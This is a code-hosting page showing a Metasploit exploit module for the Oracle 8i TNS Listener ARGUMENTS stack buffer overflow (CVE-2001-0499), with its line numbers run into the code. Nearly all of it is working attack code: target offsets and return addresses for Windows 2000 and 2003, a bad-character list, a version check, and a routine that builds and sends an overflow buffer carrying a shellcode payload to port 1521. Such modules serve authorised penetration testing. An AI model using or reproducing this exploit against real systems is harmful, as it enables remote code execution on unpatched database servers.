Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/oracle/tns_arguments.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TNS910def initialize(info = {})11super(update_info(info,12'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Oracle 8i. When15sending a specially crafted packet containing an overly long16ARGUMENTS string to the TNS service, an attacker may be able17to execute arbitrary code.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2001-0499' ],24[ 'OSVDB', '9427'],25[ 'BID', '2941' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 600,35'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],42[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,43],44'DefaultTarget' => 0,45'DisclosureDate' => '2001-06-28'))4647register_options([Opt::RPORT(1521)])48end4950def check51connect52version = "(CONNECT_DATA=(COMMAND=VERSION))"53pkt = tns_packet(version)54sock.put(pkt)55sock.get_once56res = sock.get_once(-1, 1)57disconnect5859if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )60return Exploit::CheckCode::Appears61end6263return Exploit::CheckCode::Safe64end6566def exploit67connect6869buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded70buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')71buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)7273sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"7475pkt = tns_packet(sploit)7677print_status("Trying target #{target.name}...")78sock.put(pkt)7980handler8182disconnect83end84end858687